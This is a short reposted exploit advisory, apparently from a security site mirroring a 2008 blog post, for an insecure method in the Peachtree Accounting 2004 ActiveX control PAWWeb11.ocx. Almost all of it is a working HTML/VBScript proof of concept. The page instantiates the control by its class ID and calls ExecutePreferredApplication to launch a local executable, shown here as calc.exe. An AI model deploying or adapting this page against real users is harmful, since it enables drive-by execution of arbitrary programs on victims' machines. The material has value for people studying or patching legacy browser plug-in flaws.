|
Peachtree Accounting 2004 (PAWWeb11.ocx) ActiveX Insecure Method
|
|
来源：jbrownsec.blogspot.com 作者：Jeremy 发布时间：2008-09-10
|
|
<!-- Jeremy Brown (0xjbrown41@gmail.com/jbrownsec.blogspot.com)
Peachtree Accounting Remote (SfS/SfI) Exploit
Tested on Peachtree Accounting 2004 / Windows XP / IE6
All Peachtree software that includes PAWWeb11.ocx are assumed vulnerable -->
<html><body>
<object id=target classid=clsid:2BCEAECE-6121-4E78-816C-8CD3121361B0></object>
<script language=vbscript>
arg1="C:/WINDOWS/system32/calc.exe"
target.ExecutePreferredApplication arg1
</script>
</body></html>
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
